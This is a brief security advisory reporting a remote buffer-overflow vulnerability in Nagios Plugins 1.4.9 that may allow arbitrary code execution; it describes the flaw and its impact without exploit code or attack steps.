Nagios Plugins are prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software.

This issue affects Nagios Plugins 1.4.9; other versions may also be vulnerable.
